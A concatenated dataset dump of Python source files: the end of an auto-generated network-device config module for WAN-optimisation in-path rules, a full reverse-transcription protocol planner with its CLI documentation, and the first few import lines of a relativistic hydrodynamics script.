pconfig = kwargs['pconfig']
pinputdict = kwargs['pinputdict']
dev = kwargs['dev']
if dev is None or (isinstance(dev, list) and len(dev) == 0):
return
from servicemodel.device_abs_lib import device_inpath_rules
up_map_devices_device_inpath_rules_inpath_rules_def = fill_up_map_devices_device_inpath_rules_inpath_rules_def(inputdict, pinputdict)
if up_map_devices_device_inpath_rules_inpath_rules_def[1] == 'key-delete-create' or up_map_devices_device_inpath_rules_inpath_rules_def[1] == 'key-delete':
device_inpath_rules.inpath_rules.inpath_rules_def().delete(sdata, dev, pinputdict)
if up_map_devices_device_inpath_rules_inpath_rules_def[1] == 'key-delete-create' or up_map_devices_device_inpath_rules_inpath_rules_def[1] == 'key-create':
device_inpath_rules.inpath_rules.inpath_rules_def().create(sdata, dev, up_map_devices_device_inpath_rules_inpath_rules_def[0], addref=up_map_devices_device_inpath_rules_inpath_rules_def)
if up_map_devices_device_inpath_rules_inpath_rules_def[1] == 'key-unchanged':
device_inpath_rules.inpath_rules.inpath_rules_def().update(sdata, dev, fill_map_devices_device_inpath_rules_inpath_rules_def(inputdict, pinputdict, update=True))
if inputdict.get('srcport') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('srcport'), dev, sdata, id, **opaque_args)
if inputdict.get('dstport') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('dstport'), dev, sdata, id, **opaque_args)
if inputdict.get('dst_domain') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label(inputdict.get('dst_domain'), dev, sdata, id, **opaque_args)
if inputdict.get('dst_host') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label(inputdict.get('dst_host'), dev, sdata, id, **opaque_args)
if inputdict.get('target_port') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('target_port'), dev, sdata, id, **opaque_args)
if inputdict.get('backup_port') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('backup_port'), dev, sdata, id, **opaque_args)
import cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization
cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization.grouping_update_inpath_rules_def_inpath_rules(smodelctx, sdata, **kwargs)
@staticmethod
def process_service_delete_data(smodelctx, sdata, **kwargs):
"""callback called for delete operation"""
modify = True
if modify and kwargs is not None:
for key, value in kwargs.items():
log("%s == %s" %(key,value))
if modify:
config = kwargs['config']
inputdict = kwargs['inputdict']
dev = kwargs['dev']
if dev is None or (isinstance(dev, list) and len(dev) == 0):
return
import cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization
cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization.grouping_delete_inpath_rules_def_inpath_rules(smodelctx, sdata, **kwargs)
def fill_map_devices_device_inpath_rules_inpath_rules_def(inputdict, pinputdict={}, delete=False, update=False):
mapping_dict_devices_device_inpath_rules_inpath_rules_def = {}
mapping_dict_devices_device_inpath_rules_inpath_rules_def['auto_kickoff'] = inputdict['auto_kickoff'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['protocol'] = inputdict['protocol'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['backup_addr'] = inputdict['backup_addr'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['cloud_accel'] = inputdict['cloud_accel'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['preoptimization'] = inputdict['preoptimization'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['target_addr'] = inputdict['target_addr'] if not update else inputdict['target_addr'] if inputdict['target_addr'] is not None else pinputdict['target_addr']
mapping_dict_devices_device_inpath_rules_inpath_rules_def['packet_mode_uni'] = inputdict['packet_mode_uni'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['srcport'] = inputdict['srcport'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['wan_visibility'] = inputdict['wan_visibility'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['rule_enable'] = inputdict['rule_enable'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['dst_host'] = inputdict['dst_host'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['web_proxy'] = inputdict['web_proxy'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['dstaddr'] = inputdict['dstaddr'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['dst_domain'] = inputdict['dst_domain'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['latency_opt'] = inputdict['latency_opt'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['target_port'] = inputdict['target_port'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['neural_mode'] = inputdict['neural_mode'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['description'] = inputdict['description'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['optimization'] = inputdict['optimization'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['backup_port'] = inputdict['backup_port'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['dstport'] = inputdict['dstport'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['rulenum'] = inputdict['rulenum'] if not update else inputdict['rulenum'] if inputdict['rulenum'] is not None else pinputdict['rulenum']
mapping_dict_devices_device_inpath_rules_inpath_rules_def['vlan'] = inputdict['vlan'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['rule_type'] = inputdict['rule_type'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['srcaddr'] = inputdict['srcaddr'] if not delete else ''
mapping_dict_devices_device_inpath_rules_inpath_rules_def['wan_vis_opt'] = inputdict['wan_vis_opt']
return mapping_dict_devices_device_inpath_rules_inpath_rules_def
def fill_up_map_devices_device_inpath_rules_inpath_rules_def(inputdict, pinputdict):
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def = {}
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['auto_kickoff'] = inputdict['auto_kickoff']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['protocol'] = inputdict['protocol']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['backup_addr'] = inputdict['backup_addr']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['cloud_accel'] = inputdict['cloud_accel']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['preoptimization'] = inputdict['preoptimization']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['target_addr'] = inputdict['target_addr'] if inputdict['target_addr'] is not None and inputdict['target_addr'] != '' else pinputdict['target_addr']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['packet_mode_uni'] = inputdict['packet_mode_uni']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['srcport'] = inputdict['srcport']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['wan_visibility'] = inputdict['wan_visibility']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['rule_enable'] = inputdict['rule_enable']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['dst_host'] = inputdict['dst_host']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['web_proxy'] = inputdict['web_proxy']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['dstaddr'] = inputdict['dstaddr']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['dst_domain'] = inputdict['dst_domain']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['latency_opt'] = inputdict['latency_opt']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['target_port'] = inputdict['target_port']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['neural_mode'] = inputdict['neural_mode']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['description'] = inputdict['description']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['optimization'] = inputdict['optimization']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['backup_port'] = inputdict['backup_port']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['dstport'] = inputdict['dstport']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['rulenum'] = inputdict['rulenum'] if inputdict['rulenum'] is not None and inputdict['rulenum'] != '' else pinputdict['rulenum']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['vlan'] = inputdict['vlan']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['rule_type'] = inputdict['rule_type']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['srcaddr'] = inputdict['srcaddr']
up_mapping_dict_devices_device_inpath_rules_inpath_rules_def['wan_vis_opt'] = inputdict['wan_vis_opt']
if inputdict['auto_kickoff'] is None and inputdict['protocol'] is None and inputdict['backup_addr'] is None and inputdict['cloud_accel'] is None and inputdict['preoptimization'] is None and inputdict['target_addr'] is None and inputdict['packet_mode_uni'] is None and inputdict['srcport'] is None and inputdict['wan_visibility'] is None and inputdict['rule_enable'] is None and inputdict['dst_host'] is None and inputdict['web_proxy'] is None and inputdict['dstaddr'] is None and inputdict['dst_domain'] is None and inputdict['latency_opt'] is None and inputdict['target_port'] is None and inputdict['neural_mode'] is None and inputdict['description'] is None and inputdict['optimization'] is None and inputdict['backup_port'] is None and inputdict['dstport'] is None and inputdict['rulenum'] is None and inputdict['vlan'] is None and inputdict['rule_type'] is None and inputdict['srcaddr'] is None:
return [up_mapping_dict_devices_device_inpath_rules_inpath_rules_def, 'no-change']
up_schema = 'key-unchanged'
del_mandatory = False
if inputdict['rulenum'] is not None and pinputdict['rulenum'] is not None:
up_schema = 'key-delete-create'
return [up_mapping_dict_devices_device_inpath_rules_inpath_rules_def, up_schema]
elif inputdict['rulenum'] == '':
up_schema = 'key-delete'
del_mandatory = True
elif inputdict['rulenum'] is not None:
up_schema = 'key-create'
else:
up_schema = 'key-unchanged'
if del_mandatory and up_schema != 'key-create':
up_schema = 'key-delete'
elif del_mandatory and up_schema == 'key-create':
up_schema = 'key-delete-create'
return [up_mapping_dict_devices_device_inpath_rules_inpath_rules_def, up_schema]
class DeletePreProcessor(yang.SessionPreProcessor):
def processBeforeReserve(self, session):
operations = session.getOperations()
"""Add any move operations for Deletion"""
yang.moveOperations(operations, ['DeleteHostLabel', 'DeletePortLabel', 'DeleteDomainLabel'], ['DeleteInpathRule', 'DeleteApplication'], True)
log('operations: %s' % (operations))
class CreatePreProcessor(yang.SessionPreProcessor):
def processBeforeReserve(self, session):
operations = session.getOperations()
"""Add any move operations for creation"""
log('operations: %s' % (operations)) | [
"sebastien.pouplin@tatacommunications.com"
] | sebastien.pouplin@tatacommunications.com |
f8e0b084d4c69b8d8c7bd6530b3429b49114ddd8 | ddabf67eb3b1fc996e98b41fcebfbc605f204a60 | /stepwise_mol_bio/reverse_transcribe.py | b139f8e49e8c83fceab3e2cefabe24a612e99e12 | [
"MIT"
] | permissive | kalekundert/stepwise_mol_bio | 0f9f7154eb81cf8696ac3abf43efc82a0a25962b | 6d699933405e266edf0f8fd05b64f7dfd16c9b2c | refs/heads/master | 2022-12-21T12:55:45.984257 | 2022-12-20T17:08:36 | 2022-12-20T17:08:36 | 247,542,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,615 | py | #!/usr/bin/env python3
import stepwise
import byoc
import autoprop
from stepwise import (
StepwiseConfig, PresetConfig, Reaction, Reactions,
iter_all_mixes, format_reaction, pl, ul, before,
)
from stepwise_mol_bio import (
App, Bindable, UsageError,
bind, group_samples,
)
from stepwise_mol_bio.dnase import Dnase, dnase_digest
from stepwise_mol_bio.thermocycler import (
Thermocycler, format_thermocycler_steps
)
from freezerbox import ReagentConfig, unanimous
from byoc import Key, Method, DocoptConfig
from operator import attrgetter
from functools import partial
from collections import Counter
from more_itertools import one, first, unique_everseen as unique
from inform import plural
def reverse_transcribe(samples):
return plan_dnase_protocol.concat(samples) + \
plan_reverse_transcription_protocol.concat(samples)
@group_samples(
'reaction_prototype',
'anneal',
'anneal_volume',
'anneal_incubation',
'denature_rt',
'incubation',
'incubation_by_primer',
)
def plan_reverse_transcription_protocol(group):
p = stepwise.Protocol()
if group.denature_rt and not all(x.include_rt for x in group):
p += plan_denature_protocol(group)
elif group.anneal:
p += plan_standard_protocol(group)
else:
p += plan_quick_reactions(group)
p += plan_incubation(group)
return p
@group_samples
def plan_dnase_protocol(group):
dnase_samples = [x.dnase for x in group if x.dnase]
if not dnase_samples:
return stepwise.Protocol()
# This method modifies the reaction prototype of group object it's given.
# I'd much rather not do this, but right now it's by far the most succinct
# way to get the behavior I want. I might have to think more about how to
# communicate between these `@group_samples` functions, though...
dnase_volume = max(
x.reaction_prototype.volume
for x in dnase_samples
)
for rt_sample in group:
if rt_sample.dnase:
rt_sample.reaction_prototype['template RNA'].name = "DNase-treated template RNA"
rt_sample.reaction_prototype['template RNA'].volume = dnase_volume
rt_sample.reaction_prototype['template RNA'].stock_conc = None
return dnase_digest(dnase_samples)
@group_samples
def plan_denature_protocol(group):
if group.anneal:
raise UsageError("requested both `denature` and `anneal`. `denature` should only be used when the enzyme and primer are premixed. `anneal` should only be used when they are separate.")
if list(group.reaction_prototype.iter_reagents_by_flag('primer')):
raise UsageError("`denature` requested, but reaction includes primer. `denature` should only be used when the enzyme and primer are premixed.")
base_rxn = make_reaction(group)
enz_rxn = base_rxn.copy()
with enz_rxn.hold_solvent_volume():
del enz_rxn['template RNA']
rt_rxn = Reaction()
rt_rxn['RT master mix'].volume = enz_rxn.volume
rt_rxn['RT master mix'].flags.add('RT')
rt_rxn['template RNA'] = base_rxn['template RNA']
combos = make_combos(
group, rt_rxn,
rt_controls=('denatured', 'non-denatured'),
)
n = len(combos)
rt_rxns = Reactions(rt_rxn, combos)
rt_rxns.step_kind = 'reverse transcription'
# Normally it would be advised to make a `Reactions` object for the enzyme
# mix, in case the user specifies some reaction that somehow needs master
# mix steps. This is not possible here, though, because this function
# controls how the combos are generated and removes the only reagent that
# can be varied from the reaction. So there will never be any master
# mixes, and the extra complexity isn't really called for.
#
# We calculate how to scale the reaction using the extra object from
# `rt_rxns` object, because the user can configure the default behavior of
# that object, and we want to use the users configuration.
enz_scale = rt_rxns.extra.increase_scale(n, enz_rxn)
denature_frac = sum(not x.include_rt for x in group) / n
p = stepwise.Protocol()
p += pl(
f"Prepare enough reverse transcriptase (RT) master mix for {plural(n):# reaction/s}:",
format_reaction(enz_rxn, scale=enz_scale, show_totals=False),
)
p += pl(
f"Denature {enz_rxn.volume * enz_scale * denature_frac:.2f} of the RT master mix:",
ul(
*format_thermocycler_steps(group.denature_rt, incubate_prefix=True),
),
)
p += rt_rxns
return p
@group_samples
def plan_quick_reactions(group):
rxn = make_reaction(group)
combos = make_combos(group, rxn)
rxns = Reactions(rxn, combos)
rxns.step_kind = 'reverse transcription'
rename_rt_mix(rxns)
return rxns
@group_samples
def plan_standard_protocol(group):
p = stepwise.Protocol()
anneal_rxns, rt_rxns = plan_standard_reactions(group)
p += anneal_rxns
p += Thermocycler(group.anneal_incubation)
p += rt_rxns
return p
@group_samples(
'anneal_volume',
'reaction_prototype',
)
def plan_standard_reactions(group):
if not list(group.reaction_prototype.iter_reagents_by_flag('anneal')):
raise UsageError("`anneal` requested, but not supported for the chosen reaction")
def make_anneal_combo(d):
keys = 'template RNA', 'primer'
return {k: d[k] for k in keys if k in d}
def make_rt_combo(d):
d = d.copy()
template = d.pop('template RNA')
primer = d.pop('primer', None)
d['annealed template/primer'] = (template, primer)
return d
base_rxn = make_reaction(group)
anneal_rxn = base_rxn.copy()
rt_rxn = base_rxn.copy()
for reagent in base_rxn.iter_nonsolvent_reagents():
del_rxn = rt_rxn if 'anneal' in reagent.flags else anneal_rxn
del del_rxn[reagent.key]
if group.anneal_volume:
anneal_rxn.volume = group.anneal_volume, anneal_rxn.volume.unit
else:
anneal_rxn.volume /= 2
rt_rxn['annealed template/primer'].volume = anneal_rxn.volume
combos = make_combos(group, base_rxn)
anneal_combos = [make_anneal_combo(x) for x in combos]
rt_combos = [make_rt_combo(x) for x in combos]
anneal_rxns = Reactions(anneal_rxn, anneal_combos)
anneal_rxns.step_kind = 'primer-annealing'
anneal_rxns.split_replicates = False
rt_rxns = Reactions(rt_rxn, rt_combos)
rt_rxns.step_kind = 'reverse transcription'
if not all(x.include_rt for x in group):
rt_rxns.combos_step = "Setup each reaction with and without reverse transcriptase."
else:
rt_rxns.combos_step = None
return anneal_rxns, rt_rxns
@group_samples(
'reaction_prototype',
'incubation',
'incubation_by_primer',
)
def plan_incubation(group):
default = group.incubation
if group.incubation_by_primer:
rxn = group.reaction_prototype
incubations = {
get_primer_key(k, rxn): v
for k, v in group.incubation_by_primer.items()
}
primer_keys = Counter(x.primer_key for x in group)
if len(primer_keys) == 1:
key = one(primer_keys)
return Thermocycler(incubations.get(key, default))
else:
step = pl(
"Run the following thermocycler protocols:",
)
for k in primer_keys:
step += f"For the {rxn[k].name} {plural(primer_keys[k]):reaction/s}:"
step += format_thermocycler_steps(incubations.get(k, default))
return stepwise.Protocol(steps=[step])
else:
return Thermocycler(default)
@group_samples(
'reaction_prototype',
)
def make_reaction(group):
rxn = group.reaction_prototype.copy()
setup_template(group, rxn)
setup_primer(group, rxn)
setup_enzyme(rxn)
return rxn
@group_samples
def setup_template(group, rxn):
template_stocks_ng_uL = [
x.template_stock_ng_uL
for x in group
if x.template_stock_ng_uL
]
if template_stocks_ng_uL:
rxn['template RNA'].hold_conc.stock_conc = \
min(template_stocks_ng_uL), 'ng/µL'
rxn.repair_volumes('template RNA')
@group_samples
def setup_primer(group, rxn):
primers = [x.key for x in rxn.iter_reagents_by_flag('primer')]
if not primers:
return
primer_keys = {x.primer_key for x in group}
rxn.insert_reagent('primer', before(*primers))
# Name:
try:
rxn['primer'].name = unanimous(rxn[k].name for k in primer_keys)
except:
pass
# Stock concentration:
if 'gene-specific primer' in rxn:
primer_stocks_uM = [
x.primer_stock_uM
for x in group
if x.primer_stock_uM
]
if primer_stocks_uM:
rxn['gene-specific primer'].hold_conc.stock_conc = \
min(primer_stocks_uM), 'µM'
try:
rxn['primer'].stock_conc = unanimous(
rxn[k].stock_conc
for k in primer_keys
)
except ValueError:
pass
# Volume:
rxn['primer'].volume = max(rxn[k].volume for k in primer_keys)
# Flags:
flags = (rxn[k].flags for k in primer_keys)
rxn['primer'].flags = set.intersection(*flags)
rxn['primer'].flags.discard('primer')
# Remove user-provided primer prototypes:
for k in primers:
del rxn[k]
def setup_enzyme(rxn):
for reagent in rxn.iter_reagents_by_flag('RT'):
reagent.flags.add('careful')
@group_samples
def make_combos(group, rxn, rt_controls=('+', '−')):
def make_combo(sample):
combo = {
'template RNA': sample.template,
**make_primer_combo(sample),
}
for k in rt_keys:
combo |= make_rt_combo(k, rt_controls[not sample.include_rt])
return combo
def make_primer_combo(sample):
if 'primer' not in rxn:
return {}
key = sample.primer_key
rxn0 = sample.reaction_prototype
gene_specific_primer = get_primer_key(
'gene-specific primer', rxn0,
required=False,
)
if gene_specific_primer and key == gene_specific_primer:
name = sample.primer
else:
name = rxn0[key].name
if rxn['primer'].stock_conc or not rxn0[key].stock_conc:
return {'primer': name}
stock = rxn0[key].stock_conc
dilution = rxn['primer'].volume / rxn0[key].volume
if dilution == 1:
return {'primer': f'{stock} {name}'}
try:
stock = stock / dilution
except TypeError:
return {'primer': f'{stock} {name} (diluted {dilution:g}x)'}
else:
return {'primer': f'{stock} {name}'}
rt_keys = get_rt_keys(rxn)
include_rt = {x.include_rt for x in group}
if all(include_rt):
make_rt_combo = lambda k, v: {}
elif not any(include_rt):
make_rt_combo = lambda k, v: {k: f'{k} ({v})'}
else:
make_rt_combo = lambda k, v: {k: v}
return [make_combo(x) for x in group]
def rename_rt_mix(rxns):
rt_keys = get_rt_keys(rxns.base_reaction)
for mix in iter_all_mixes(rxns.mix):
if rt_keys == mix.reagents:
mix.name = 'RT'
rxns.refresh_names()
break
def get_rt_keys(rxn):
return {x.key for x in rxn.iter_reagents_by_flag('RT')}
def get_primer_key(key_or_name, rxn, required=True):
"""
Given either the key or the name of a primer, return the corresponding key.
If no matching primer can be found in the given reaction, an error will be
raised.
"""
primer_keys = {x.key for x in rxn.iter_reagents_by_flag('primer')}
if key_or_name in primer_keys:
return key_or_name
primer_names = {rxn[k].name: k for k in primer_keys}
try:
return primer_names[key_or_name]
except KeyError:
if not required:
return None
def format_primers(rxn):
primer_strs = []
for reagent in rxn.iter_reagents_by_flag('primer'):
key, name = reagent.key, reagent.name
if key != name:
primer_strs.append(key)
else:
primer_strs.append(f'{key}, {name}')
return '\n'.join(primer_strs)
err = UsageError(primer=key_or_name, rxn=rxn)
err.brief = "RT reaction has no primer named {key_or_name!r}"
err.info += lambda e: "known primers:\n" + format_primers(e)
err.hint += "different RT presets can have different primers, are you using the right preset?"
raise err
def samples_from_docopt(args):
rxns = []
primer = args.get('--primer')
for template in args['<templates>']:
rxn = ReverseTranscribe(template, primer)
rxns.append(rxn)
if args.get('--no-rt-control'):
rxn = ReverseTranscribe(template, primer)
rxn.include_rt = False
rxns.append(rxn)
return rxns
def dnase_factory_from_preset(preset):
def factory(rt):
rxn = rt.reaction_prototype
return Dnase.Sample(
rt.template,
preset=preset,
rna_volume=rxn['template RNA'].volume.value,
rna_stock_conc=rxn['template RNA'].stock_conc,
)
return factory
class TemplateConfig(ReagentConfig):
tag_getter = attrgetter('template')
class PrimerConfig(ReagentConfig):
tag_getter = attrgetter('primer')
@autoprop
class ReverseTranscribe(Bindable, use_app_configs=True):
@classmethod
def make(cls, samples):
return reverse_transcribe(samples)
def __init__(self, template, primer=None, **kwargs):
super().__init__(**kwargs)
self.template = template
if primer: self.primer = primer
__config__ = [
PresetConfig,
TemplateConfig,
PrimerConfig,
StepwiseConfig.setup(('molbio', 'reverse_transcribe')),
]
presets = byoc.param(
Key(StepwiseConfig, 'presets'),
pick=list,
)
preset = byoc.param(
Key(DocoptConfig, '--preset'),
Key(StepwiseConfig, 'default_preset'),
)
reaction_prototype = byoc.param(
Key(PresetConfig, 'reaction', cast=Reaction.from_text),
)
template_stock_ng_uL = byoc.param(
Key(DocoptConfig, '--template-stock'),
Key(TemplateConfig, 'conc_ng_uL'),
default=None,
)
primer = byoc.param(
Key(DocoptConfig, '--primer'),
default=None,
)
primer_stock_uM = byoc.param(
Key(PrimerConfig, 'conc_uM'),
default=None,
)
gene_specific_primer = byoc.param(
Key(DocoptConfig, '--gene-specific-primer'),
default=False,
)
include_rt = byoc.param(
default=True,
)
denature_rt = byoc.param(
Key(PresetConfig, 'no_rt_denature'),
default=None,
)
dnase = byoc.param(
Key(DocoptConfig, '--no-dnase', cast=lambda x: None),
Method(lambda self: self._dnase_factory(self)),
default=None,
)
_dnase_factory = byoc.param(
Key(PresetConfig, 'dnase_preset', cast=dnase_factory_from_preset),
)
anneal = byoc.param(
Key(DocoptConfig, '--anneal'),
Key(PresetConfig, 'anneal'),
default=False,
)
anneal_volume = byoc.param(
Key(PresetConfig, 'anneal_volume'),
default=None,
)
anneal_incubation = byoc.param(
Key(PresetConfig, 'anneal_incubation'),
default=None,
)
incubation = byoc.param(
Key(PresetConfig, 'incubation'),
)
incubation_by_primer = byoc.param(
Key(PresetConfig, 'incubation_by_primer'),
default_factory=dict,
)
config_paths = byoc.config_attr()
preset_briefs = byoc.config_attr()
def get_primer_key(self):
"""
Get the key for looking up the primer in the reaction table.
The `primer` attribute is directly set by the user, which makes it hard
to use directly:
- It may be either the name or the key of a primer reagent in the
prototype reaction. (Names are displayed and are typically long,
keys are used internally and are typically short.)
- It may refer to a gene-specific primer, in which case it won't match
any of the reagents in the prototype reaction. In this case, the
special key "gene-specific primer" should be used.
- It may not be specified, indicating that the default primer should be
chosen.
This property handles all this and either returns a valid key or raises
an error.
"""
rxn = self.reaction_prototype
if self.gene_specific_primer:
key_or_name = 'gene-specific primer'
else:
key_or_name = self.primer
if key_or_name:
return get_primer_key(key_or_name, rxn)
else:
return first(
(x.key for x in rxn.iter_reagents_by_flag('primer')),
default=None,
)
@autoprop
class ReverseTranscribeCli(App):
"""
Synthesize DNA from a RNA template.
Usage:
reverse_transcribe <templates>... [-p <preset>] [-C <stock>] [-P <primer>]
[-gaRD]
<%! from stepwise_mol_bio import hanging_indent %>\
Options:
-p --preset <name>
What set of default reaction parameters to use. The following presets
are currently available:
${hanging_indent(sample.preset_briefs, 8)}
-C --template-stock
The stock concentration of the template RNA in ng/µL. If not
specified, the protocol will attempt to look up stock concentrations
for each template in the FreezerBox database. If it finds any, it will
use the lowest value found. Otherwise, it will use whatever stock
concentration is specified in the preset.
-P --primer <name>
The name of the primer to use. The names that are allowed depend on
the preset, although 'dt' and 'hex' are common aliases for oligo-dT and
random hexamers, respectively. Some presets (e.g. those representing
master mixes with primers included) don't allow any primers to be
specified at all. Some presets allow "gene-specific primers", in which
case the name specified here can be anything as long as the `-g` flag
is given. The stock concentration of gene-specific primers is looked
up in the FreezerBox database, and falls back on the value specified in
the preset.
-g --gene-specific-primer
Indicate that a gene-specific primer is being used. See the `--primer`
option for more information.
-a --anneal
Anneal the primers to the templates before starting the RT reaction.
The default is to skip this step, which simplifies the setup of the
reaction at the possible expense of some yield.
-R --no-rt-control
Include a −RT control for each template. This is an important control
for many downstream analysis steps, e.g. qPCR.
-D --no-dnase
Skip the DNase treatment step, if the preset specifies one.
Configuration:
Default values for this protocol can be specified in any of the following
stepwise configuration files:
${hanging_indent(sample.config_paths, 8)}
molbio.reverse_transcribe.default_preset
The default value for the `--preset` option.
molbio.reverse_transcribe.presets:
Named groups of default reaction parameters. Typically each preset
corresponds to a particular kit or protocol. See below for the various
settings that can be specified in each preset.
molbio.reverse_transcribe.presets.<name>.brief:
A brief description of the preset. This is displayed in the usage info
for the `--preset` option.
molbio.reverse_transcribe.presets.<name>.inherit:
Copy all settings from another preset. This can be used to make small
tweaks to a protocol, e.g. "SuperScript with a non-standard additive".
molbio.reverse_transcribe.presets.<name>.reaction:
A table detailing all the components of the reverse transcription
reaction, in the format understood by `stepwise.Reaction.from_text()`.
The reaction must have a reagent named "template RNA", and the
following flags are important to specify:
'anneal': Use this flag to label every reagent that should be included
in the annealing reaction, e.g. template, primer, and maybe some
buffer. If no reagents have this flag, the `--anneal` option will be
disabled.
'primer': The reaction may include multiple different primer options,
each labeled with this flag. The user can select which of these
primers to use via the `--primer` option. By default, the first will
be used. Use the special name "gene-specific primer" to specify the
volume/concentration for custom-ordered oligos.
'RT': Use this flag to label the reagents that should be left out when
setting up the −RT control.
molbio.reverse_transcribe.presets.<name>.anneal:
The default value for the `--anneal` flag.
molbio.reverse_transcribe.presets.<name>.anneal_volume:
The volume to make each annealing reaction, if an annealing step is
requested. Don't specify units; the units are assumed to be the same
as for the reaction itself (typically µL). The default is half of the
total reaction volume.
molbio.reverse_transcribe.presets.<name>.anneal_incubation:
Describe the thermocycler protocol to use for the annealing step, in
the format expected by `format_thermocycler_steps`.
molbio.reverse_transcribe.presets.<name>.no_rt_denature:
Specify the thermocycler protocol that should be used to heat-denature
the −RT control. Setting this option also indicates that the RT should
be denatured rather than simply left out of the −RT control. This is
sometimes recommended for all-in-one master mixes where the −RT control
would otherwise just be the template.
molbio.reverse_transcribe.presets.<name>.incubation:
Describe the thermocycler protocol to use for the reverse transcription
reaction, in the format expected by `format_thermocycler_steps`. See
also the `incubation_by_primer` setting, which allows different
protocols to be chosen based on the primer being used.
molbio.reverse_transcribe.presets.<name>.incubation_by_primer:
A dictionary mapping primer names to thermocycler protocols, in the
event that you want to use different incubation steps for different
primers. This setting supersedes the `incubation` setting if the
primer being used is present in the dictionary.
"""
Sample = ReverseTranscribe
samples = byoc.param(
Key(DocoptConfig, samples_from_docopt),
get=bind,
)
if __name__ == '__main__':
ReverseTranscribeCli.entry_point()
| [
"kale@thekunderts.net"
] | kale@thekunderts.net |
d4d98087653712e9fcd891ab6bb3bbb1c2f31baa | c46515f86db0e36f8eb7276d3aa8c5b9ced6f0a1 | /disintegrating_plug/alternative_approach.py | abc7f6c41a45f9306a3a9afa51c48dc2e048abb6 | [
"MIT"
] | permissive | bolverk/disintegrating_bullet | 63e9e7b78576868840bbb75a4631d103581f295f | 676bd2f575a70497ee0bebee801405f59df7bc9a | refs/heads/master | 2022-01-24T06:36:05.231779 | 2022-01-23T17:11:32 | 2022-01-23T17:11:32 | 109,408,186 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,615 | py | from box import Box
import sympy
from probe import show
from rhd import (psi, p, eta, c, t, r, nu)
from riemann_invariant import (
